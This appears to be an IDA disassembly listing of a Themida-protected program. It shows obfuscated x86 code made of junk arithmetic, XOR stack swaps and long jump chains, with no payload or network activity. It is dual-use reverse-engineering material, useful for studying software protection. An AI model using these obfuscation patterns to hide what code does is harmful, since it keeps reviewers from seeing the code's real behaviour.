loc_58A500:				; CODE XREF: Themida_:00597672j
		push	eax
		mov	ah, 0D8h
		jmp	loc_58B739
; ---------------------------------------------------------------------------


loc_58A508:				; CODE XREF: Themida_:00596BD3j
		push	edx
		mov	edx, 6E77798Dh
		add	edx, 5786A1Ah
		and	edx, 0E193B26h
		sub	edx, 0A2AC0B68h
		jmp	loc_58F43D
; ---------------------------------------------------------------------------


loc_58A525:				; CODE XREF: Themida_:00593993j
		push	1D9D0C4Ah
		pop	eax
		jmp	loc_592DB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_58A530:				; CODE XREF: sub_596CA1-994Bj
		and	bl, dl
		pop	dx
		sub	bl, 24h
		add	al, 0D2h
		add	al, bl
		push	bx
		mov	bh, 0D2h
		sub	al, bh
		pop	bx
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		push	ebx
		jmp	loc_595934
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------


loc_58A54F:				; CODE XREF: Themida_:00596B2Aj
		add	ecx, ebp
		sub	ecx, 387F67CFh
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5951D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A569:				; CODE XREF: sub_58C17E+A6Aj
		or	edx, eax
		jmp	loc_597E7F
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58A570:				; CODE XREF: Themida_:0058CF43j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_58E4B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58A58E:				; CODE XREF: sub_5EC2E8-5EA84j
		sub	ah, 64h
		jmp	loc_58CC2F
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58A596:				; CODE XREF: Themida_:005908D8j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58A59B:				; CODE XREF: sub_590010+11E1j
		shr	esi, 3
		push	edx
		mov	edx, 0F9C6E2F4h
		add	esi, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	ebx
		mov	ebx, esi
		mov	eax, ebx
		jmp	loc_58FC82
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58A5B9:				; CODE XREF: Themida_:005930C9j
		push	3643h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	7F77h
		mov	[esp], edi
		mov	edi, 2CA148Dh
		add	edi, 0FD35EB77h
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 1406B59h
		jmp	loc_5935EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_58A5E4:				; CODE XREF: sub_59089C+19A6j
		pop	dword ptr [edi+24h]
		push	eax
		mov	eax, 5DB64E91h
		jmp	loc_591787
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------


loc_58A5F2:				; CODE XREF: Themida_:00593E1Ej
		add	eax, esi
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 17962AF7h
		mov	ebp, edx
		jmp	loc_58AB6E
; ---------------------------------------------------------------------------


loc_58A60A:				; CODE XREF: Themida_:00597391j
		push	0A84h
		mov	[esp], ebx
		jmp	loc_58F352
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58A617:				; CODE XREF: sub_595E21-679j
		add	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		jmp	loc_590649
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58A629:				; CODE XREF: Themida_:0058FACCj
		push	edi
		push	3086h
		mov	[esp], edx
		push	ebp
		jmp	loc_5951EE
; ---------------------------------------------------------------------------


loc_58A638:				; CODE XREF: Themida_:005917FBj
		add	esp, 4
		push	2271h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_58B612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597716


loc_58A653:				; CODE XREF: sub_597716+13j
		and	ebp, 0BAE571Ch
		jmp	sub_595655
; END OF FUNCTION CHUNK	FOR sub_597716
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58A65E:				; CODE XREF: sub_59524C+973j
		neg	edx
		push	esi
		mov	esi, 0EAB4AF9h
		sub	edx, 66D76958h
		add	edx, esi
		add	edx, 66D76958h
		pop	esi
		push	3BB7h
		mov	[esp+4+var_4], ecx
		mov	ecx, 620A1BF4h
		or	edx, ecx
		jmp	loc_59594F
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58A689:				; CODE XREF: sub_58F5B5+37Bj
		push	4FF0h
		mov	[esp+8+var_8], edx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58A696:				; CODE XREF: Themida_:0058AF95j
		or	edi, 0FD37D82h
		push	5FA6h
		mov	[esp], edx
		mov	edx, 17CC394Eh
		and	edx, 25F72DA4h
		jmp	loc_596969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_58A6B4:				; CODE XREF: Themida_:loc_59036Ej
					; sub_58F836+66E7j
		pop	eax
		add	eax, 6DD12502h
		jmp	loc_593728
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB1F


loc_58A6BF:				; CODE XREF: sub_58EB1F+B37j
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		push	ebx
		mov	ebx, 4E03894h
		add	ebx, 471C42F7h
		push	ebp
		mov	ebp, 20F658B4h
		sub	ebp, 0AA410DC3h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 5BFC29BCh
		or	ebx, 1B75370Fh
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	sub_58D236
; END OF FUNCTION CHUNK	FOR sub_58EB1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A6FB:				; CODE XREF: sub_58C17E+D3Fj
		mov	ebx, 4
		add	[esp+8+var_4], ebx
		pop	ebx
		mov	ebp, [esp+4+var_4]
		jmp	loc_596042
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58A70D:				; CODE XREF: sub_590467+2318j
		push	[esp-4+arg_4]
		pop	eax
		jmp	loc_59657E
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
byte_58A717	db 89h			; CODE XREF: Themida_:00594906j
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		jmp	loc_58BDF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58A723:				; CODE XREF: sub_590467+3C04j
		and	ebp, 2E86331Eh
		or	ebp, 400507A8h
		jnz	loc_58B9BA
		shl	ebp, 5
		jmp	loc_58D164
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		sub	ecx, ebx
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58A73F:				; CODE XREF: sub_590010+2EB0j
		shl	ecx, 6
		shl	ecx, 6
		shr	ecx, 4
		jmp	loc_58C945
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58A74D:				; CODE XREF: Themida_:00595524j
		push	ebp
		mov	ebp, 76152C44h
		xor	ebp, 299E2CDAh
		and	ebp, 35D65133h
		inc	ebp
		push	edx
		mov	edx, 15820013h
		sub	ebp, edx
		jmp	loc_593E44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58A76D:				; CODE XREF: sub_590467-47C0j
		pop	cx
		sub	bl, 0D5h
		jmp	loc_58D314
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58A777:				; CODE XREF: sub_59762D-6C2Ej
		or	ebp, 5C967C10h
		xor	ebp, 0C24EC2BCh
		mov	eax, ebp
		pop	ebp
		sub	eax, ebx
		pop	ebx
		shl	eax, 2
		js	loc_594307
		push	edi
		mov	edi, 8DF9C78Eh
		jmp	loc_596786
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_58D236


loc_58A79E:				; CODE XREF: sub_58D236+141Fj
		pop	esp
		mov	ax, word ptr [esp-4+arg_0]
		jmp	loc_59772E
; END OF FUNCTION CHUNK	FOR sub_58D236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58A7A8:				; CODE XREF: sub_590010-3A35j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	sub_59590E
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58A7C7:				; CODE XREF: Themida_:005967B7j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A7D7:				; CODE XREF: sub_58C17E+8B30j
		sub	eax, 3E5A6B2Bh
		sub	eax, 65647781h
		add	eax, edi
		add	eax, 65647781h
		jmp	loc_5966B5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D12


loc_58A7ED:				; CODE XREF: sub_592D12+1j
		pop	eax
		pop	ebp
		and	eax, 58EE63B2h
		jmp	loc_58E11C
; END OF FUNCTION CHUNK	FOR sub_592D12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58A7F9:				; CODE XREF: sub_594654+2563j
		shr	edi, 7
		jmp	loc_594C56
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58A801:				; CODE XREF: sub_5EC2E8-58052j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58A806:				; CODE XREF: sub_5916C4+5501j
		add	ebp, 30103AF3h
		jmp	loc_5901F7
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58A811:				; CODE XREF: Themida_:0059241Bj
		push	edx
		mov	edx, 476E1E13h
		shr	edx, 8
		add	edx, 0FFB891E6h
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5928FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58A82E:				; CODE XREF: sub_5EC2E8-54382j
		js	loc_5951C7
		or	dl, 77h
		sub	dl, 8Fh
		jmp	loc_58B72C
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58A83F:				; CODE XREF: sub_58F5B5+6395j
		mov	ebp, 78A8264Bh
		add	ebp, 3A89551Dh
		jmp	loc_597CF6
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58A84F:				; CODE XREF: Themida_:0058D071j
		pop	ebp
		push	eax
		mov	eax, 38DA6D23h
		shl	eax, 1
		jnz	loc_58C914
		inc	eax
		jp	loc_58ECB6
		or	dh, 0E3h
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A868:				; CODE XREF: sub_58C17E+7910j
		shl	eax, 8
		shl	eax, 7
		jmp	loc_5967BC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58A873:				; CODE XREF: Themida_:00593E3Aj
		sub	cl, 0D6h
		xor	cl, 7Dh
		xor	cl, 2
		add	bl, cl
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	4D3Bh
		mov	[esp], esp
		jmp	loc_594028
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58A890:				; CODE XREF: sub_5938B9-19C2j
		mov	[esp+0], cx
		mov	cl, 75h
		jmp	loc_594371
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58A89B:				; CODE XREF: Themida_:005966D7j
		pop	edi
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58E805
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58A8AA:				; CODE XREF: sub_58C17E+1F3j
		push	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		jmp	loc_591D61
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58A8B9:				; CODE XREF: Themida_:0058F77Fj
		sub	cl, 8Bh
		xor	al, cl
		pop	ecx
		push	small 5C8Dh
		mov	[esp], dx
		mov	dh, 0D9h
		jmp	loc_593535
; ---------------------------------------------------------------------------


loc_58A8CE:				; CODE XREF: Themida_:005912D2j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5911E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58A8E2:				; CODE XREF: sub_590467+1CCDj
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 6DD02ED4h
		xor	esi, 432B000Bh
		sub	esi, 1
		jmp	loc_58CDB3
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58A8FA:				; CODE XREF: Themida_:00595909j
		sub	dh, 97h
		mov	bh, dh
		pop	edx
		push	ax
		mov	al, 90h
		sub	dl, al
		mov	ax, [esp]
		jmp	loc_58C33F
; ---------------------------------------------------------------------------


loc_58A90F:				; CODE XREF: Themida_:00596AF3j
		not	bh
		sub	bh, 45h
		jmp	loc_59075E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58A919:				; CODE XREF: sub_595655-5E72j
		add	edx, edi
		push	dword ptr [edx]
		pop	ecx
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_593973
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58A946:				; CODE XREF: sub_5916CB+17B6j
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5949C1
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58A954:				; CODE XREF: Themida_:0058FAECj
		and	ecx, 70794FC8h
		jmp	loc_591AC2
; ---------------------------------------------------------------------------


loc_58A95F:				; CODE XREF: Themida_:005958DAj
		pop	edx
		mov	esi, edx
		pop	edx
		pop	ebx
		sub	eax, 45CB69C0h
		add	eax, esi
		push	ebp
		mov	ebp, 6C80015h
		jmp	loc_5900F9
; ---------------------------------------------------------------------------


loc_58A976:				; CODE XREF: Themida_:0058E9E4j
		add	ecx, ebp
		pop	ebp
		jmp	loc_58D976
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	53B0h
		mov	[esp], edi
		mov	edi, esp
		push	esi
		jmp	loc_58C464
; ---------------------------------------------------------------------------


loc_58A992:				; CODE XREF: Themida_:005961E4j
		add	esp, 4
		push	cx
		push	edx
		jmp	loc_595AEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_58A9A0:				; CODE XREF: sub_592857-7567j
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_58B983
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58A9A8:				; CODE XREF: sub_5916C4+34E3j
		add	edx, ebp
		add	edx, 5B8A3F89h
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		jmp	loc_58E875
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58A9BC:				; CODE XREF: Themida_:0058F05Cj
		not	eax
		inc	eax
		jns	loc_58F5C0
		jmp	sub_58E0C4
; ---------------------------------------------------------------------------
		sub	ebx, 2C425684h
		pop	edx
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2E596B48h
		shl	esi, 4
		sub	esi, 0E596B47Ch
		add	ebp, esi
		jmp	loc_58E3CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58A9F3:				; CODE XREF: sub_5916C4-4161j
		add	bl, 76h
		shr	bl, 5
		jns	loc_59611D
		shl	bl, 1
		jmp	loc_58D919
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		pop	esi
		shr	eax, 2


loc_58AA0A:				; CODE XREF: Themida_:0058F2B1j
		push	edi
		jmp	loc_590866
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_58E45A
; ---------------------------------------------------------------------------


loc_58AA1A:				; CODE XREF: Themida_:0058BB5Ej
		push	ebx
		add	dword ptr [esp], 1E6C006Fh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_592DEE
; ---------------------------------------------------------------------------


loc_58AA30:				; CODE XREF: Themida_:0058E2DBj
		shr	edx, 2
		push	6CAh
		mov	[esp], ebx
		mov	ebx, 1E512081h
		xor	edx, ebx
		pop	ebx
		add	edx, 0D6CF69C9h
		add	esi, 2967619Bh
		jmp	loc_595C40
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	1D585DD0h
		pop	edi
		neg	edi
		jmp	loc_58E608
; ---------------------------------------------------------------------------


loc_58AA6E:				; CODE XREF: Themida_:00595D3Dj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_593E6F
; ---------------------------------------------------------------------------


loc_58AA8A:				; CODE XREF: Themida_:005912CAj
		neg	ebx
		add	ebx, 7CE228D9h
		add	ecx, ebx
		jmp	loc_591202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58AA99:				; CODE XREF: sub_5916C4+1371j
		mov	esp, [esp-4+arg_0]
		mov	ax, word ptr [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], ecx
		push	esp
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 5C760B6Eh
		xor	edi, 5C760B6Ah
		add	ecx, edi
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		movzx	cx, al
		jmp	loc_58F892
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58AADC:				; CODE XREF: sub_58C17E+1B3j
		mov	ecx, 6C487D9Ah
		xor	[esp+0Ch+var_8], ecx
		jmp	loc_5966EA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58AAEA:				; CODE XREF: Themida_:0058C144j
		mov	dl, 0C9h
		mov	al, dl
		pop	edx
		xor	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_595997
; ---------------------------------------------------------------------------


loc_58AAFC:				; CODE XREF: Themida_:0058AF39j
		add	esp, 4
		push	edx
		mov	edx, 18B84FD6h
		add	ebx, edx
		pop	edx
		sub	ebx, ebp
		push	esi
		mov	esi, 184E24F4h
		shr	esi, 2
		add	esi, 62A96D8Ah
		jmp	loc_58AD7F
; ---------------------------------------------------------------------------


loc_58AB21:				; CODE XREF: Themida_:0058CACBj
		or	eax, 393511DEh
		xor	eax, 39BF31DAh
		add	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_58B9C2
; ---------------------------------------------------------------------------


loc_58AB39:				; CODE XREF: Themida_:00597105j
		push	54ABh
		mov	[esp], ecx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58AB46:				; CODE XREF: Themida_:0058B2F7j
		add	bl, 0E6h
		sub	bl, al
		push	cx
		jmp	loc_5947B1
; ---------------------------------------------------------------------------


loc_58AB52:				; CODE XREF: Themida_:0058B7C4j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	small 7B03h
		mov	[esp], bx
		mov	bx, 57D2h
		add	ax, 241Fh
		jmp	loc_592D18
; ---------------------------------------------------------------------------


loc_58AB6E:				; CODE XREF: Themida_:0058A605j
		pop	edx
		or	ebp, 71275335h
		inc	ebp
		neg	ebp
		sub	ebp, 77592CBFh
		xor	ebp, 1A283039h
		add	eax, ebp
		pop	ebp
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		div	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	26B9h
		mov	[esp], esi
		mov	esi, 63603EFAh
		push	ebp
		mov	ebp, 0ECB55B9h
		neg	ebp
		sub	ebp, 53BD03A0h
		neg	ebp
		inc	ebp
		xor	ebp, 10EB2667h
		and	esi, ebp
		pop	ebp
		shl	esi, 8
		shl	esi, 4
		and	esi, 19746073h
		push	ebp
		mov	ebp, 31CA7B7Dh
		jmp	loc_596D35
; ---------------------------------------------------------------------------


loc_58ABDC:				; CODE XREF: Themida_:005917DEj
		mov	eax, 2ACD5BBBh
		xor	ebx, eax
		pop	eax
		jmp	loc_597887
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58ABE9:				; CODE XREF: sub_5916C4+46EDj
		push	esi
		pop	edx
		pop	esi
		mov	ecx, edx
		jmp	loc_58DFA0
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_597DB2
; ---------------------------------------------------------------------------


loc_58AC08:				; CODE XREF: Themida_:00592DC8j
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, ebp
		jmp	loc_58F61F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58AC17:				; CODE XREF: sub_59762D:loc_59781Dj
		shr	al, 7
		shr	al, 3
		jp	loc_595318
		xor	al, 0F6h
		push	ebx
		mov	bl, al
		jmp	loc_58D8B7
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
		pop	ebx
		mov	bh, dh
		pop	edx


loc_58AC31:				; CODE XREF: Themida_:00596007j
		add	ebp, 3F48586Fh
		jz	loc_594FC5
		dec	ebp
		jl	loc_595BC4
		inc	ebp
		jl	loc_58B1BF
		jmp	loc_58EACC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58AC50:				; CODE XREF: sub_595BDA:loc_597D69j
		shl	esi, 2
		jmp	loc_5962DA
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58AC58:				; CODE XREF: sub_5916C4+4006j
		push	3DAC3A88h
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 2C437814h
		and	edx, 522D5BC8h
		shr	edx, 4
		push	ebp
		mov	ebp, 65032797h
		add	ebp, 7FF34378h
		sub	ebp, 0A74A4705h
		add	edx, ebp
		jmp	loc_590658
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58AC8B:				; CODE XREF: sub_58C17E+5857j
		mov	[esp+0Ch+var_C], edx
		push	ebx
		jmp	loc_58CB89
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58AC94:				; CODE XREF: Themida_:0058D111j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58ACA3:				; CODE XREF: Themida_:00592DE9j
		sub	edx, 0E119F207h
		add	eax, edx
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_591599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58ACB6:				; CODE XREF: sub_5916CB-345Aj
					; sub_590010+10B2j
		pop	eax
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		dec	[esp-0Ch+arg_8]
		pushf
		jmp	loc_597F6B
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58ACCA:				; CODE XREF: Themida_:0058FD1Ej
		mov	edi, 26D52C05h
		sub	ebx, edi
		pop	edi
		dec	ebx
		jmp	loc_58CBFB
; ---------------------------------------------------------------------------


loc_58ACD8:				; CODE XREF: Themida_:005906E1j
		sub	ebp, 305C9319h
		add	edx, ebp
		pop	ebp
		jmp	loc_58F3D0
; ---------------------------------------------------------------------------


loc_58ACE6:				; CODE XREF: Themida_:00594E87j
		pop	dword ptr [esp]
		jmp	loc_58BCF9
; ---------------------------------------------------------------------------


loc_58ACEE:				; CODE XREF: Themida_:0058B104j
		push	ecx
		jmp	loc_5965D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58ACF4:				; CODE XREF: sub_595BDA-47D1j
		xor	cl, 66h
		add	bl, cl
		pop	ecx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_596D28
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_58AD05:				; CODE XREF: Themida_:005919A8j
					; Themida_:loc_5979A4j
		mov	dh, cl
		pop	ecx
		jmp	loc_58C376
; ---------------------------------------------------------------------------


loc_58AD0D:				; CODE XREF: Themida_:005931C0j
		xchg	ecx, [esp]
		jmp	loc_58E7F9
; ---------------------------------------------------------------------------


loc_58AD15:				; CODE XREF: Themida_:0058C22Ej
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		push	dword ptr [esp]
		jmp	loc_59439E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58AD2E:				; CODE XREF: sub_58C17E-10D9j
					; sub_5965CD-A4FAj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	ebp, 7F2BBDB9h
		sub	ebp, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58F609
; ---------------------------------------------------------------------------


loc_58AD53:				; CODE XREF: sub_58C17E+5E55j
		sub	ecx, 0BB2A04F5h
		jmp	sub_597716
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58AD5E:				; CODE XREF: sub_58B4D6+6AA5j
		push	eax
		push	428Fh
		jmp	loc_58B3CA
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5955A6


loc_58AD69:				; CODE XREF: sub_5955A6+1F5Bj
		inc	cl
		add	cl, 0C2h
		xor	cl, 0B6h
		jmp	sub_58EC96
; END OF FUNCTION CHUNK	FOR sub_5955A6
; ---------------------------------------------------------------------------


loc_58AD76:				; CODE XREF: Themida_:0058E54Aj
		pop	esp
		mov	[esp], eax
		jmp	loc_5978AE
; ---------------------------------------------------------------------------


loc_58AD7F:				; CODE XREF: Themida_:0058AB1Cj
		dec	esi
		jmp	loc_58B41B
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58FB52
; ---------------------------------------------------------------------------


loc_58AD8B:				; CODE XREF: Themida_:0058E7B7j
		mov	esi, 0DDE0AD60h
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 3CF60A10h
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 3CF60A10h
		mov	edx, [esp]
		add	esp, 4


loc_58ADC4:				; CODE XREF: Themida_:00590979j
		push	eax
		mov	eax, [esp]
		push	0D7h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 20CA5D1Dh
		add	ebx, 0DF35A2E7h
		add	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		jmp	loc_593523
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58ADEC:				; CODE XREF: sub_5916CB+5818j
		pop	eax
